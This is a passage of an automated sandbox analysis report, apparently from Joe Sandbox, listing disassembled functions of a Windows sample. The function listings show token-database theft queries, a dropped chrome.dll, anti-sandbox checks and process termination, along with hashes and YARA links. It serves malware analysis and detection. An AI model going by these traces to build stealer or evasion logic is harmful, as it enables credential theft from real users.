Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0041735E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0041758D,004205C5), ref: 0041739C
memset.MSVCRT ref: 004173EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0041753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041740C

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction ID: 233c3b8a05bec9dd0facad4523d46c30dcb6cb295cabbf2d5ddda9a1061df09f
Opcode Fuzzy Hash: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction Fuzzy Hash: 24515FB0D04218ABDB14EF91DC45BEEB7B5AF04305F1041AEE21567281EB786AC8CF59

Function 0040BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040BC6F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BC9D
lstrlenA.KERNEL32(00000000), ref: 0040BD75
lstrlenA.KERNEL32(00000000), ref: 0040BD89

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BBBB
AccountTokens, xrefs: 0040BA8A
AccountId, xrefs: 0040BC94
AccountTokens, xrefs: 0040BB19

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 6a6b2b72b4bbc9c97c722c770676adc73084f33d76ab4546c8054e57f775c9ca
Instruction ID: 6476b4a2e47316619015001d7be3bff7ad81932ea7eb7605c7a9cb508b765a87
Opcode Fuzzy Hash: 6a6b2b72b4bbc9c97c722c770676adc73084f33d76ab4546c8054e57f775c9ca
Instruction Fuzzy Hash: E9B17371A111089BCB04FBA1DCA6EEE7339AF14314F40456FF50673195EF386A98CB6A

Function 004108A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00419850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871

Part of subcall function 0040A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098

StrCmpCA.SHLWAPI(00000000,0085DD50), ref: 00410922
StrCmpCA.SHLWAPI(00000000,0085DCE0), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,0085DDF0), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00410C30
C:\ProgramData\chrome.dll, xrefs: 004108CD

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 8eb7eb626220ded15b5bf0f0eb679b98cc6a6cabee019665dbdbb37ebc59762c
Instruction ID: 798b8003b846a09b6b7b20e33334a9dbf0f3b1503011c00658a7b4d9c0c3a9bc
Opcode Fuzzy Hash: 8eb7eb626220ded15b5bf0f0eb679b98cc6a6cabee019665dbdbb37ebc59762c
Instruction Fuzzy Hash: DCA176717001089FCB18EF65D996FED7776AF94304F10812EE40A5F391EB349A49CB9A

Function 004149D0 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00860D68,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00414A2B

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00414A51
lstrcatA.KERNEL32(?,?), ref: 00414A70
lstrcatA.KERNEL32(?,?), ref: 00414A84
lstrcatA.KERNEL32(?,0085A160), ref: 00414A97
lstrcatA.KERNEL32(?,?), ref: 00414AAB
lstrcatA.KERNEL32(?,008612F8), ref: 00414ABF

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 004147C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
Part of subcall function 004147C0: HeapAlloc.KERNEL32(00000000), ref: 004147D7
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147F6
Part of subcall function 004147C0: FindFirstFileA.KERNEL32(?,?), ref: 0041480D

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: ca37e48eac6c41bf83888b042920387d67c8233dae85e760b5f4e7268f4a1e27
Instruction ID: a5c2d428b28de13255d2ac7946ab4b1842291e6be0275f36c7222d1bbee1b90f
Opcode Fuzzy Hash: ca37e48eac6c41bf83888b042920387d67c8233dae85e760b5f4e7268f4a1e27
Instruction Fuzzy Hash: F93160B2D0421867CB14FBB0DC95EDD733EAB48704F40458EB20596091EE78A7C8CB99

Function 00416C90 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085BE80), ref: 00419BF1
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085BE98), ref: 00419C0A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085BEB0), ref: 00419C22
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C2E8), ref: 00419C3A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C288), ref: 00419C53
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,008567C8), ref: 00419C6B
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,00855730), ref: 00419C83
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,00855890), ref: 00419C9C
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C468), ref: 00419CB4
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C378), ref: 00419CCC
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C318), ref: 00419CE5
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C258), ref: 00419CFD
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,008558B0), ref: 00419D15
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,0085C300), ref: 00419D2E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416A10: GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14

GetUserDefaultLCID.KERNEL32 ref: 00416CC6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0085DAF0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,0085DAF0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 37ba5d88be1cf43d7e525a4f5a7b940139d3c2d11a3e392791c9a2cfd06a0def
Instruction ID: 27cf1f4c78a26a12fad1801110170cb785a0876a7ac7b1f74ab5ff3c6832b849
Opcode Fuzzy Hash: 37ba5d88be1cf43d7e525a4f5a7b940139d3c2d11a3e392791c9a2cfd06a0def
Instruction Fuzzy Hash: CB315E30A05104ABCB04FBF1EC56BEE7379AF44314F50492FF11266196EF786A85C66E

Function 0041856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

RegQueryValueExA.KERNEL32(00000000,00860A68,00000000,000F003F,?,00000400), ref: 0041867C
lstrlenA.KERNEL32(?), ref: 00418691
RegQueryValueExA.KERNEL32(00000000,008608D0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B3C), ref: 00418729
RegCloseKey.KERNEL32(00000000), ref: 00418798
RegCloseKey.ADVAPI32(00000000), ref: 004187AA

Strings

%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction ID: 130e8712b2d17d0f4a3aa70f9b32a38deb323cc32c4c6a80807e33934adfa5f1
Opcode Fuzzy Hash: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction Fuzzy Hash: 0F211B71A112189BDB24DB54DC85FE9B3B9FB48704F1081D9E609A6180DF746AC5CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction ID: 160db8237089610cf3963e488d7c28046b69bb3d6c402c1973a99714a059ae02
Opcode Fuzzy Hash: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction Fuzzy Hash: 9F2149B1D00219ABDF14DFA5EC4AADD7B75FF04320F008229F925A7290EB706A19CF95

Function 004199A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004199C5
Process32First.KERNEL32(0040A056,00000128), ref: 004199D9
Process32Next.KERNEL32(0040A056,00000128), ref: 004199F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00419A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419A6C
CloseHandle.KERNEL32(00000000), ref: 00419A79
CloseHandle.KERNEL32(0040A056), ref: 00419A88

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: 88ad4043d03276f3ee8d31f644ab7db47d0d0c060b431017ba6a9ada5f45e9a4
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 06211A70900258ABDB25DFA1DC98BEEB7B9BF48304F0041C9E509A6290D7789FC4CF51

Function 00417820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
HeapAlloc.KERNEL32(00000000), ref: 0041783B
RegOpenKeyExA.KERNEL32(80000002,00859A08,00000000,00020119,00000000), ref: 0041786D
RegQueryValueExA.KERNEL32(00000000,00860978,00000000,00000000,?,000000FF), ref: 0041788E
RegCloseKey.ADVAPI32(00000000), ref: 00417898

Strings

Windows 11, xrefs: 0041784D

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 90abcce2ecfc2a5b8cd512a74185dd25ab23219ddadcc09848e79f4871c60c5e
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: FD01A274E09304BBEB00DBE4ED49FAE7779EF48700F00419AFA04A7290E7749A40CB55

Function 004178B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

